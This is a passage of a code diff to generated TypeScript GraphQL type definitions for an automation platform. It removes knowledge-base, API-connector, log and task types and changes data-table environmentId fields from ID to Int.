-  __typename?: 'GenerateSpecificationResponse';
-  specification?: Maybe<Scalars['String']['output']>;
-};
-
-export type GenerationJobStatus = {
-  __typename?: 'GenerationJobStatus';
-  errorMessage?: Maybe<Scalars['String']['output']>;
-  jobId: Scalars['String']['output'];
-  specification?: Maybe<Scalars['String']['output']>;
-  status: GenerationJobStatusEnum;
-};
-
-export enum GenerationJobStatusEnum {
-  Cancelled = 'CANCELLED',
-  Completed = 'COMPLETED',
-  Failed = 'FAILED',
-  Pending = 'PENDING',
-  Processing = 'PROCESSING'
-}
-
 export type Help = {
   __typename?: 'Help';
   description?: Maybe<Scalars['String']['output']>;
   documentationUrl?: Maybe<Scalars['String']['output']>;
 };
 
-export enum HttpMethod {
-  Delete = 'DELETE',
-  Get = 'GET',
-  Patch = 'PATCH',
-  Post = 'POST',
-  Put = 'PUT'
-}
-
 export type ImportCsvInput = {
   csv: Scalars['String']['input'];
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   tableId: Scalars['ID']['input'];
 };
 
-export type ImportOpenApiSpecificationInput = {
-  icon?: InputMaybe<Scalars['String']['input']>;
-  name: Scalars['String']['input'];
-  specification: Scalars['String']['input'];
-};
-
 export type InsertRowInput = {
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   tableId: Scalars['ID']['input'];
   values: Scalars['Map']['input'];
 };
@@ -778,121 +538,6 @@ export type Integration = {
   name: Scalars['String']['output'];
 };
 
-export type KnowledgeBase = {
-  __typename?: 'KnowledgeBase';
-  createdDate?: Maybe<Scalars['Long']['output']>;
-  description?: Maybe<Scalars['String']['output']>;
-  documents?: Maybe<Array<Maybe<KnowledgeBaseDocument>>>;
-  id: Scalars['ID']['output'];
-  lastModifiedDate?: Maybe<Scalars['Long']['output']>;
-  maxChunkSize?: Maybe<Scalars['Int']['output']>;
-  minChunkSizeChars?: Maybe<Scalars['Int']['output']>;
-  name: Scalars['String']['output'];
-  overlap?: Maybe<Scalars['Int']['output']>;
-};
-
-export type KnowledgeBaseDocument = {
-  __typename?: 'KnowledgeBaseDocument';
-  chunks?: Maybe<Array<Maybe<KnowledgeBaseDocumentChunk>>>;
-  createdDate?: Maybe<Scalars['Long']['output']>;
-  document?: Maybe<FileEntry>;
-  id: Scalars['ID']['output'];
-  name: Scalars['String']['output'];
-  status: Scalars['Int']['output'];
-  tags?: Maybe<Array<Tag>>;
-};
-
-export type KnowledgeBaseDocumentChunk = {
-  __typename?: 'KnowledgeBaseDocumentChunk';
-  content?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  knowledgeBaseDocumentId: Scalars['ID']['output'];
-  metadata?: Maybe<Scalars['Map']['output']>;
-  score?: Maybe<Scalars['Float']['output']>;
-};
-
-export type KnowledgeBaseDocumentChunkInput = {
-  content: Scalars['String']['input'];
-};
-
-export type KnowledgeBaseDocumentSearchResult = SearchResult & {
-  __typename?: 'KnowledgeBaseDocumentSearchResult';
-  description?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  knowledgeBaseId: Scalars['ID']['output'];
-  name: Scalars['String']['output'];
-  type: SearchAssetType;
-};
-
-export type KnowledgeBaseDocumentTagsEntry = {
-  __typename?: 'KnowledgeBaseDocumentTagsEntry';
-  knowledgeBaseDocumentId: Scalars['ID']['output'];
-  tags: Array<Tag>;
-};
-
-export type KnowledgeBaseInput = {
-  description?: InputMaybe<Scalars['String']['input']>;
-  maxChunkSize?: InputMaybe<Scalars['Int']['input']>;
-  minChunkSizeChars?: InputMaybe<Scalars['Int']['input']>;
-  name: Scalars['String']['input'];
-  overlap?: InputMaybe<Scalars['Int']['input']>;
-};
-
-export type KnowledgeBaseSearchResult = SearchResult & {
-  __typename?: 'KnowledgeBaseSearchResult';
-  description?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  name: Scalars['String']['output'];
-  type: SearchAssetType;
-};
-
-export type KnowledgeBaseTagsEntry = {
-  __typename?: 'KnowledgeBaseTagsEntry';
-  knowledgeBaseId: Scalars['ID']['output'];
-  tags: Array<Tag>;
-};
-
-export type LogEntry = {
-  __typename?: 'LogEntry';
-  componentName: Scalars['String']['output'];
-  componentOperationName?: Maybe<Scalars['String']['output']>;
-  exceptionMessage?: Maybe<Scalars['String']['output']>;
-  exceptionType?: Maybe<Scalars['String']['output']>;
-  level: LogLevel;
-  message: Scalars['String']['output'];
-  stackTrace?: Maybe<Scalars['String']['output']>;
-  taskExecutionId: Scalars['ID']['output'];
-  timestamp: Scalars['String']['output'];
-};
-
-export type LogFilterInput = {
-  componentName?: InputMaybe<Scalars['String']['input']>;
-  fromTimestamp?: InputMaybe<Scalars['String']['input']>;
-  minLevel?: InputMaybe<LogLevel>;
-  searchText?: InputMaybe<Scalars['String']['input']>;
-  taskExecutionId?: InputMaybe<Scalars['ID']['input']>;
-  toTimestamp?: InputMaybe<Scalars['String']['input']>;
-};
-
-export enum LogLevel {
-  Debug = 'DEBUG',
-  Error = 'ERROR',
-  Info = 'INFO',
-  Trace = 'TRACE',
-  Warn = 'WARN'
-}
-
-export type LogPage = {
-  __typename?: 'LogPage';
-  content: Array<LogEntry>;
-  hasNext: Scalars['Boolean']['output'];
-  hasPrevious: Scalars['Boolean']['output'];
-  pageNumber: Scalars['Int']['output'];
-  pageSize: Scalars['Int']['output'];
-  totalElements: Scalars['Int']['output'];
-  totalPages: Scalars['Int']['output'];
-};
-
 export type McpComponent = {
   __typename?: 'McpComponent';
   componentName: Scalars['String']['output'];
@@ -1030,49 +675,32 @@ export type Mutation = {
   __typename?: 'Mutation';
   _placeholder?: Maybe<Scalars['Boolean']['output']>;
   addDataTableColumn: Scalars['Boolean']['output'];
-  cancelGenerationJob: Scalars['Boolean']['output'];
-  createApiConnector: ApiConnector;
   createApiKey: Scalars['String']['output'];
   createDataTable: Scalars['Boolean']['output'];
-  createKnowledgeBase?: Maybe<KnowledgeBase>;
   createMcpComponent?: Maybe<McpComponent>;
   createMcpComponentWithTools?: Maybe<McpComponent>;
   createMcpProject?: Maybe<McpProject>;
   createMcpProjectWorkflow?: Maybe<McpProjectWorkflow>;
   createMcpServer?: Maybe<McpServer>;
   createMcpTool?: Maybe<McpTool>;
-  createTask?: Maybe<Task>;
   createWorkspaceApiKey: Scalars['String']['output'];
   createWorkspaceMcpServer?: Maybe<McpServer>;
-  deleteApiConnector: Scalars['Boolean']['output'];
   deleteApiKey: Scalars['Boolean']['output'];
-  deleteCustomComponent: Scalars['Boolean']['output'];
   deleteDataTableRow: Scalars['Boolean']['output'];
-  deleteJobFileLogs: Scalars['Boolean']['output'];
-  deleteKnowledgeBase?: Maybe<Scalars['Boolean']['output']>;
-  deleteKnowledgeBaseDocument?: Maybe<Scalars['Boolean']['output']>;
-  deleteKnowledgeBaseDocumentChunk?: Maybe<Scalars['Boolean']['output']>;
   deleteMcpComponent?: Maybe<Scalars['Boolean']['output']>;
   deleteMcpProject?: Maybe<Scalars['Boolean']['output']>;
   deleteMcpProjectWorkflow?: Maybe<Scalars['Boolean']['output']>;
   deleteMcpServer?: Maybe<Scalars['Boolean']['output']>;
   deleteSharedProject: Scalars['Boolean']['output'];
   deleteSharedWorkflow: Scalars['Boolean']['output'];
-  deleteTask?: Maybe<Scalars['Boolean']['output']>;
   deleteUser: Scalars['Boolean']['output'];
   deleteWorkspaceApiKey: Scalars['Boolean']['output'];
   deleteWorkspaceMcpServer?: Maybe<Scalars['Boolean']['output']>;
-  disconnectConnection: Scalars['Boolean']['output'];
   dropDataTable: Scalars['Boolean']['output'];
   duplicateDataTable: Scalars['Boolean']['output'];
-  enableApiConnector: Scalars['Boolean']['output'];
-  enableCustomComponent: Scalars['Boolean']['output'];
   exportSharedProject?: Maybe<Scalars['Boolean']['output']>;
   exportSharedWorkflow: Scalars['Boolean']['output'];
-  generateFromDocumentation: ApiConnector;
-  generateSpecification: GenerateSpecificationResponse;
   importDataTableCsv: Scalars['Boolean']['output'];
-  importOpenApiSpecification: ApiConnector;
   importProjectTemplate: Scalars['ID']['output'];
   importWorkflowTemplate: Scalars['ID']['output'];
   insertDataTableRow: DataTableRow;
@@ -1080,28 +708,15 @@ export type Mutation = {
   removeDataTableColumn: Scalars['Boolean']['output'];
   renameDataTable: Scalars['Boolean']['output'];
   renameDataTableColumn: Scalars['Boolean']['output'];
-  saveClusterElementTestConfigurationConnection?: Maybe<Scalars['Boolean']['output']>;
-  saveWorkflowTestConfigurationConnection?: Maybe<Scalars['Boolean']['output']>;
-  startDiscoverEndpoints: EndpointDiscoveryResult;
-  startGenerateForEndpoints: GenerationJobStatus;
-  startGenerateFromDocumentationPreview: GenerationJobStatus;
-  testClusterElementScript: ScriptTestExecution;
-  testWorkflowNodeScript: ScriptTestExecution;
-  updateApiConnector: ApiConnector;
   updateApiKey: Scalars['Boolean']['output'];
   updateDataTableRow: DataTableRow;
   updateDataTableTags: Scalars['Boolean']['output'];
-  updateKnowledgeBase?: Maybe<KnowledgeBase>;
-  updateKnowledgeBaseDocumentChunk?: Maybe<KnowledgeBaseDocumentChunk>;
-  updateKnowledgeBaseDocumentTags: Scalars['Boolean']['output'];
-  updateKnowledgeBaseTags: Scalars['Boolean']['output'];
   updateManagementMcpServerUrl: Scalars['String']['output'];
   updateMcpComponentWithTools?: Maybe<McpComponent>;
   updateMcpProjectWorkflow?: Maybe<McpProjectWorkflow>;
   updateMcpServer?: Maybe<McpServer>;
   updateMcpServerTags?: Maybe<Array<Maybe<Tag>>>;
   updateMcpServerUrl: Scalars['String']['output'];
-  updateTask?: Maybe<Task>;
   updateUser: AdminUser;
   updateWorkspaceApiKey: Scalars['Boolean']['output'];
 };
@@ -1112,16 +727,6 @@ export type MutationAddDataTableColumnArgs = {
 };
 
 
-export type MutationCancelGenerationJobArgs = {
-  jobId: Scalars['String']['input'];
-};
-
-
-export type MutationCreateApiConnectorArgs = {
-  input: CreateApiConnectorInput;
-};
-
-
 export type MutationCreateApiKeyArgs = {
   environmentId: Scalars['ID']['input'];
   name: Scalars['String']['input'];
@@ -1134,12 +739,6 @@ export type MutationCreateDataTableArgs = {
 };
 
 
-export type MutationCreateKnowledgeBaseArgs = {
-  knowledgeBase: KnowledgeBaseInput;
-  workspaceId: Scalars['ID']['input'];
-};
-
-
 export type MutationCreateMcpComponentArgs = {
   input: McpComponentInput;
 };
@@ -1170,11 +769,6 @@ export type MutationCreateMcpToolArgs = {
 };
 
 
-export type MutationCreateTaskArgs = {
-  task: TaskInput;
-};
-
-
 export type MutationCreateWorkspaceApiKeyArgs = {
   environmentId: Scalars['ID']['input'];
   name: Scalars['String']['input'];
@@ -1187,46 +781,16 @@ export type MutationCreateWorkspaceMcpServerArgs = {
 };
 
 
-export type MutationDeleteApiConnectorArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
 export type MutationDeleteApiKeyArgs = {
   id: Scalars['ID']['input'];
 };
 
 
-export type MutationDeleteCustomComponentArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
 export type MutationDeleteDataTableRowArgs = {
   input: DeleteRowInput;
 };
 
 
-export type MutationDeleteJobFileLogsArgs = {
-  jobId: Scalars['ID']['input'];
-};
-
-
-export type MutationDeleteKnowledgeBaseArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
-export type MutationDeleteKnowledgeBaseDocumentArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
-export type MutationDeleteKnowledgeBaseDocumentChunkArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
 export type MutationDeleteMcpComponentArgs = {
   id: Scalars['ID']['input'];
 };
@@ -1257,11 +821,6 @@ export type MutationDeleteSharedWorkflowArgs = {
 };
 
 
-export type MutationDeleteTaskArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
 export type MutationDeleteUserArgs = {
   login: Scalars['String']['input'];
 };
@@ -1277,11 +836,6 @@ export type MutationDeleteWorkspaceMcpServerArgs = {
 };
 
 
-export type MutationDisconnectConnectionArgs = {
-  connectionId: Scalars['ID']['input'];
-};
-
-
 export type MutationDropDataTableArgs = {
   input: RemoveTableInput;
 };
@@ -1292,18 +846,6 @@ export type MutationDuplicateDataTableArgs = {
 };
 
 
-export type MutationEnableApiConnectorArgs = {
-  enable: Scalars['Boolean']['input'];
-  id: Scalars['ID']['input'];
-};
-
-
-export type MutationEnableCustomComponentArgs = {
-  enable: Scalars['Boolean']['input'];
-  id: Scalars['ID']['input'];
-};
-
-
 export type MutationExportSharedProjectArgs = {
   description?: InputMaybe<Scalars['String']['input']>;
   id: Scalars['ID']['input'];
@@ -1316,26 +858,11 @@ export type MutationExportSharedWorkflowArgs = {
 };
 
 
-export type MutationGenerateFromDocumentationArgs = {
-  input: GenerateFromDocumentationInput;
-};
-
-
-export type MutationGenerateSpecificationArgs = {
-  input: GenerateSpecificationInput;
-};
-
-
 export type MutationImportDataTableCsvArgs = {
   input: ImportCsvInput;
 };
 
 
-export type MutationImportOpenApiSpecificationArgs = {
-  input: ImportOpenApiSpecificationInput;
-};
-
-
 export type MutationImportProjectTemplateArgs = {
   id: Scalars['String']['input'];
   sharedProject: Scalars['Boolean']['input'];
@@ -1377,134 +904,48 @@ export type MutationRenameDataTableColumnArgs = {
 };
 
 
-export type MutationSaveClusterElementTestConfigurationConnectionArgs = {
-  clusterElementType: Scalars['String']['input'];
-  clusterElementWorkflowNodeName: Scalars['String']['input'];
-  connectionId: Scalars['Long']['input'];
-  environmentId: Scalars['Long']['input'];
-  workflowConnectionKey: Scalars['String']['input'];
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
+export type MutationUpdateApiKeyArgs = {
+  id: Scalars['ID']['input'];
+  name: Scalars['String']['input'];
 };
 
 
-export type MutationSaveWorkflowTestConfigurationConnectionArgs = {
-  connectionId: Scalars['Long']['input'];
-  environmentId: Scalars['Long']['input'];
-  workflowConnectionKey: Scalars['String']['input'];
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
+export type MutationUpdateDataTableRowArgs = {
+  input: UpdateRowInput;
 };
 
 
-export type MutationStartDiscoverEndpointsArgs = {
-  input: DiscoverEndpointsInput;
+export type MutationUpdateDataTableTagsArgs = {
+  input: UpdateDataTableTagsInput;
 };
 
 
-export type MutationStartGenerateForEndpointsArgs = {
-  input: GenerateForEndpointsInput;
+export type MutationUpdateMcpComponentWithToolsArgs = {
+  id: Scalars['ID']['input'];
+  input: McpComponentWithToolsInput;
 };
 
 
-export type MutationStartGenerateFromDocumentationPreviewArgs = {
-  input: GenerateFromDocumentationInput;
+export type MutationUpdateMcpProjectWorkflowArgs = {
+  id: Scalars['ID']['input'];
+  input: McpProjectWorkflowUpdateInput;
 };
 
 
-export type MutationTestClusterElementScriptArgs = {
-  clusterElementType: Scalars['String']['input'];
-  clusterElementWorkflowNodeName: Scalars['String']['input'];
-  environmentId: Scalars['Long']['input'];
-  inputParameters?: InputMaybe<Scalars['Map']['input']>;
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
+export type MutationUpdateMcpServerArgs = {
+  id: Scalars['ID']['input'];
+  input: McpServerUpdateInput;
 };
 
 
-export type MutationTestWorkflowNodeScriptArgs = {
-  environmentId: Scalars['Long']['input'];
-  inputParameters?: InputMaybe<Scalars['Map']['input']>;
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
+export type MutationUpdateMcpServerTagsArgs = {
+  id: Scalars['ID']['input'];
+  tags: Array<TagInput>;
 };
 
 
-export type MutationUpdateApiConnectorArgs = {
+export type MutationUpdateMcpServerUrlArgs = {
   id: Scalars['ID']['input'];
-  input: UpdateApiConnectorInput;
-};
-
-
-export type MutationUpdateApiKeyArgs = {
-  id: Scalars['ID']['input'];
-  name: Scalars['String']['input'];
-};
-
-
-export type MutationUpdateDataTableRowArgs = {
-  input: UpdateRowInput;
-};
-
-
-export type MutationUpdateDataTableTagsArgs = {
-  input: UpdateDataTableTagsInput;
-};
-
-
-export type MutationUpdateKnowledgeBaseArgs = {
-  id: Scalars['ID']['input'];
-  knowledgeBase: KnowledgeBaseInput;
-};
-
-
-export type MutationUpdateKnowledgeBaseDocumentChunkArgs = {
-  id: Scalars['ID']['input'];
-  knowledgeBaseDocumentChunk: KnowledgeBaseDocumentChunkInput;
-};
-
-
-export type MutationUpdateKnowledgeBaseDocumentTagsArgs = {
-  input: UpdateKnowledgeBaseDocumentTagsInput;
-};
-
-
-export type MutationUpdateKnowledgeBaseTagsArgs = {
-  input: UpdateKnowledgeBaseTagsInput;
-};
-
-
-export type MutationUpdateMcpComponentWithToolsArgs = {
-  id: Scalars['ID']['input'];
-  input: McpComponentWithToolsInput;
-};
-
-
-export type MutationUpdateMcpProjectWorkflowArgs = {
-  id: Scalars['ID']['input'];
-  input: McpProjectWorkflowUpdateInput;
-};
-
-
-export type MutationUpdateMcpServerArgs = {
-  id: Scalars['ID']['input'];
-  input: McpServerUpdateInput;
-};
-
-
-export type MutationUpdateMcpServerTagsArgs = {
-  id: Scalars['ID']['input'];
-  tags: Array<TagInput>;
-};
-
-
-export type MutationUpdateMcpServerUrlArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
-export type MutationUpdateTaskArgs = {
-  task: TaskInput;
 };
 
 
@@ -1589,30 +1030,6 @@ export type OptionsDataSource = {
   optionsLookupDependsOn?: Maybe<Array<Scalars['String']['output']>>;
 };
 
-export type ParameterDefinitionInput = {
-  description?: InputMaybe<Scalars['String']['input']>;
-  example?: InputMaybe<Scalars['String']['input']>;
-  location: ParameterLocation;
-  name: Scalars['String']['input'];
-  required?: InputMaybe<Scalars['Boolean']['input']>;
-  type: ParameterType;
-};
-
-export enum ParameterLocation {
-  Header = 'HEADER',
-  Path = 'PATH',
-  Query = 'QUERY'
-}
-
-export enum ParameterType {
-  Array = 'ARRAY',
-  Boolean = 'BOOLEAN',
-  Integer = 'INTEGER',
-  Number = 'NUMBER',
-  Object = 'OBJECT',
-  String = 'STRING'
-}
-
 export enum PlatformType {
   Automation = 'AUTOMATION',
   Embedded = 'EMBEDDED'
@@ -1645,15 +1062,6 @@ export type ProjectDeployment = {
   version: Scalars['Int']['output'];
 };
 
-export type ProjectDeploymentSearchResult = SearchResult & {
-  __typename?: 'ProjectDeploymentSearchResult';
-  description?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  name: Scalars['String']['output'];
-  projectName: Scalars['String']['output'];
-  type: SearchAssetType;
-};
-
 export type ProjectDeploymentWorkflow = {
   __typename?: 'ProjectDeploymentWorkflow';
   connections: Array<ProjectDeploymentWorkflowConnection>;
@@ -1685,14 +1093,6 @@ export type ProjectInfo = {
   name: Scalars['String']['output'];
 };
 
-export type ProjectSearchResult = SearchResult & {
-  __typename?: 'ProjectSearchResult';
-  description?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  name: Scalars['String']['output'];
-  type: SearchAssetType;
-};
-
 export type ProjectTemplate = {
   __typename?: 'ProjectTemplate';
   authorEmail?: Maybe<Scalars['String']['output']>;
@@ -1764,16 +1164,11 @@ export type Query = {
   actionDefinition: ActionDefinition;
   actionDefinitions: Array<ActionDefinition>;
   adminApiKeys?: Maybe<Array<Maybe<ApiKey>>>;
-  apiConnector?: Maybe<ApiConnector>;
-  apiConnectors: Array<ApiConnector>;
   apiKey?: Maybe<ApiKey>;
   apiKeys?: Maybe<Array<Maybe<ApiKey>>>;
   authorities: Array<Scalars['String']['output']>;
-  automationSearch: Array<SearchResult>;
-  clusterElementComponentConnections: Array<ComponentConnection>;
   clusterElementDefinition: ClusterElementDefinition;
   clusterElementDefinitions: Array<ClusterElementDefinition>;
-  clusterElementScriptInput?: Maybe<Scalars['Map']['output']>;
   componentDefinition: ComponentDefinition;
   componentDefinitionSearch: Array<ComponentDefinition>;
   componentDefinitionVersions: Array<ComponentDefinition>;
@@ -1784,33 +1179,15 @@ export type Query = {
   connectionComponentDefinition: ComponentDefinition;
   connectionDefinition: ConnectionDefinition;
   connectionDefinitions: Array<ConnectionDefinition>;
-  customComponent?: Maybe<CustomComponent>;
-  customComponentDefinition?: Maybe<CustomComponentDefinition>;
-  customComponents: Array<CustomComponent>;
   dataTableRows: Array<DataTableRow>;
   dataTableRowsPage: DataTableRowPage;
   dataTableTags: Array<Tag>;
   dataTableTagsByTable: Array<DataTableTagsEntry>;
   dataTableWebhooks: Array<DataTableWebhook>;
   dataTables: Array<DataTable>;
-  editorJobFileLogs: LogPage;
-  editorJobFileLogsExist: Scalars['Boolean']['output'];
-  editorTaskExecutionFileLogs: Array<LogEntry>;
-  endpointDiscoveryStatus?: Maybe<EndpointDiscoveryResult>;
   environments?: Maybe<Array<Maybe<Environment>>>;
   exportDataTableCsv: Scalars['String']['output'];
-  generationJobStatus?: Maybe<GenerationJobStatus>;
   integration?: Maybe<Integration>;
-  jobFileLogs: LogPage;
-  jobFileLogsExist: Scalars['Boolean']['output'];
-  knowledgeBase?: Maybe<KnowledgeBase>;
-  knowledgeBaseDocument?: Maybe<KnowledgeBaseDocument>;
-  knowledgeBaseDocumentStatus?: Maybe<DocumentStatusUpdate>;
-  knowledgeBaseDocumentTags: Array<Tag>;
-  knowledgeBaseDocumentTagsByDocument: Array<KnowledgeBaseDocumentTagsEntry>;
-  knowledgeBaseTags: Array<Tag>;
-  knowledgeBaseTagsByKnowledgeBase: Array<KnowledgeBaseTagsEntry>;
-  knowledgeBases?: Maybe<Array<Maybe<KnowledgeBase>>>;
   managementMcpServerUrl?: Maybe<Scalars['String']['output']>;
   mcpComponent?: Maybe<McpComponent>;
   mcpComponents?: Maybe<Array<Maybe<McpComponent>>>;
@@ -1834,23 +1211,16 @@ export type Query = {
   projectDeploymentWorkflow?: Maybe<ProjectDeploymentWorkflow>;
   projectTemplate?: Maybe<ProjectTemplate>;
   projects?: Maybe<Array<Maybe<Project>>>;
-  searchKnowledgeBase?: Maybe<Array<Maybe<KnowledgeBaseDocumentChunk>>>;
   sharedProject?: Maybe<SharedProject>;
   sharedWorkflow?: Maybe<SharedWorkflow>;
-  task?: Maybe<Task>;
   taskDispatcherDefinition: TaskDispatcherDefinition;
   taskDispatcherDefinitionVersions: Array<TaskDispatcherDefinition>;
   taskDispatcherDefinitions: Array<TaskDispatcherDefinition>;
-  taskExecutionFileLogs: Array<LogEntry>;
-  tasks?: Maybe<Array<Maybe<Task>>>;
-  tasksByIds?: Maybe<Array<Maybe<Task>>>;
   triggerDefinition: TriggerDefinition;
   triggerDefinitions: Array<TriggerDefinition>;
   unifiedApiComponentDefinitions: Array<ComponentDefinition>;
   user?: Maybe<AdminUser>;
   users?: Maybe<AdminUserPage>;
-  workflowNodeComponentConnections: Array<ComponentConnection>;
-  workflowNodeScriptInput?: Maybe<Scalars['Map']['output']>;
   workflowTemplate?: Maybe<WorkflowTemplate>;
   workspaceApiKeys: Array<ApiKey>;
   workspaceMcpServers?: Maybe<Array<Maybe<McpServer>>>;
@@ -1876,11 +1246,6 @@ export type QueryAdminApiKeysArgs = {
 };
 
 
-export type QueryApiConnectorArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
 export type QueryApiKeyArgs = {
   id: Scalars['ID']['input'];
 };
@@ -1892,20 +1257,6 @@ export type QueryApiKeysArgs = {
 };
 
 
-export type QueryAutomationSearchArgs = {
-  limit?: InputMaybe<Scalars['Int']['input']>;
-  query: Scalars['String']['input'];
-};
-
-
-export type QueryClusterElementComponentConnectionsArgs = {
-  clusterElementType: Scalars['String']['input'];
-  clusterElementWorkflowNodeName: Scalars['String']['input'];
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
-};
-
-
 export type QueryClusterElementDefinitionArgs = {
   clusterElementName: Scalars['String']['input'];
   componentName: Scalars['String']['input'];
@@ -1920,15 +1271,6 @@ export type QueryClusterElementDefinitionsArgs = {
 };
 
 
-export type QueryClusterElementScriptInputArgs = {
-  clusterElementType: Scalars['String']['input'];
-  clusterElementWorkflowNodeName: Scalars['String']['input'];
-  environmentId: Scalars['Long']['input'];
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
-};
-
-
 export type QueryComponentDefinitionArgs = {
   componentName: Scalars['String']['input'];
   componentVersion: Scalars['Int']['input'];
@@ -1992,24 +1334,14 @@ export type QueryConnectionDefinitionsArgs = {
 };
 
 
-export type QueryCustomComponentArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
-export type QueryCustomComponentDefinitionArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
 export type QueryDataTableRowsArgs = {
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   tableId: Scalars['ID']['input'];
 };
 
 
 export type QueryDataTableRowsPageArgs = {
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   limit?: InputMaybe<Scalars['Int']['input']>;
   offset?: InputMaybe<Scalars['Int']['input']>;
   tableId: Scalars['ID']['input'];
@@ -2017,90 +1349,28 @@ export type QueryDataTableRowsPageArgs = {
 
 
 export type QueryDataTableWebhooksArgs = {
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   tableId: Scalars['ID']['input'];
 };
 
 
 export type QueryDataTablesArgs = {
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   workspaceId: Scalars['ID']['input'];
 };
 
 
-export type QueryEditorJobFileLogsArgs = {
-  filter?: InputMaybe<LogFilterInput>;
-  jobId: Scalars['ID']['input'];
-  page?: InputMaybe<Scalars['Int']['input']>;
-  size?: InputMaybe<Scalars['Int']['input']>;
-};
-
-
-export type QueryEditorJobFileLogsExistArgs = {
-  jobId: Scalars['ID']['input'];
-};
-
-
-export type QueryEditorTaskExecutionFileLogsArgs = {
-  jobId: Scalars['ID']['input'];
-  taskExecutionId: Scalars['ID']['input'];
-};
-
-
-export type QueryEndpointDiscoveryStatusArgs = {
-  jobId: Scalars['String']['input'];
-};
-
-
 export type QueryExportDataTableCsvArgs = {
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   tableId: Scalars['ID']['input'];
 };
 
 
-export type QueryGenerationJobStatusArgs = {
-  jobId: Scalars['String']['input'];
-};
-
-
 export type QueryIntegrationArgs = {
   id?: InputMaybe<Scalars['ID']['input']>;
 };
 
 
-export type QueryJobFileLogsArgs = {
-  filter?: InputMaybe<LogFilterInput>;
-  jobId: Scalars['ID']['input'];
-  page?: InputMaybe<Scalars['Int']['input']>;
-  size?: InputMaybe<Scalars['Int']['input']>;
-};
-
-
-export type QueryJobFileLogsExistArgs = {
-  jobId: Scalars['ID']['input'];
-};
-
-
-export type QueryKnowledgeBaseArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
-export type QueryKnowledgeBaseDocumentArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
-export type QueryKnowledgeBaseDocumentStatusArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
-export type QueryKnowledgeBasesArgs = {
-  workspaceId: Scalars['ID']['input'];
-};
-
-
 export type QueryMcpComponentArgs = {
   id?: InputMaybe<Scalars['ID']['input']>;
 };
@@ -2190,13 +1460,6 @@ export type QueryProjectTemplateArgs = {
 };
 
 
-export type QuerySearchKnowledgeBaseArgs = {
-  id: Scalars['ID']['input'];
-  metadataFilters?: InputMaybe<Scalars['String']['input']>;
-  query: Scalars['String']['input'];
-};
-
-
 export type QuerySharedProjectArgs = {
   projectUuid: Scalars['String']['input'];
 };
@@ -2207,11 +1470,6 @@ export type QuerySharedWorkflowArgs = {
 };
 
 
-export type QueryTaskArgs = {
-  id: Scalars['ID']['input'];
-};
-
-
 export type QueryTaskDispatcherDefinitionArgs = {
   name: Scalars['String']['input'];
   version: Scalars['Int']['input'];
@@ -2223,17 +1481,6 @@ export type QueryTaskDispatcherDefinitionVersionsArgs = {
 };
 
 
-export type QueryTaskExecutionFileLogsArgs = {
-  jobId: Scalars['ID']['input'];
-  taskExecutionId: Scalars['ID']['input'];
-};
-
-
-export type QueryTasksByIdsArgs = {
-  ids: Array<Scalars['ID']['input']>;
-};
-
-
 export type QueryTriggerDefinitionArgs = {
   componentName: Scalars['String']['input'];
   componentVersion: Scalars['Int']['input'];
@@ -2263,19 +1510,6 @@ export type QueryUsersArgs = {
 };
 
 
-export type QueryWorkflowNodeComponentConnectionsArgs = {
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
-};
-
-
-export type QueryWorkflowNodeScriptInputArgs = {
-  environmentId: Scalars['Long']['input'];
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
-};
-
-
 export type QueryWorkflowTemplateArgs = {
   id: Scalars['String']['input'];
   sharedWorkflow: Scalars['Boolean']['input'];
@@ -2302,77 +1536,33 @@ export type QueryWorkspaceProjectDeploymentsArgs = {
 
 export type RemoveColumnInput = {
   columnId: Scalars['ID']['input'];
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   tableId: Scalars['ID']['input'];
 };
 
 export type RemoveTableInput = {
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   tableId: Scalars['ID']['input'];
 };
 
 export type RenameColumnInput = {
   columnId: Scalars['ID']['input'];
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   newName: Scalars['String']['input'];
   tableId: Scalars['ID']['input'];
 };
 
 export type RenameDataTableInput = {
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   newBaseName: Scalars['String']['input'];
   tableId: Scalars['ID']['input'];
 };
 
-export type RequestBodyDefinitionInput = {
-  contentType: Scalars['String']['input'];
-  description?: InputMaybe<Scalars['String']['input']>;
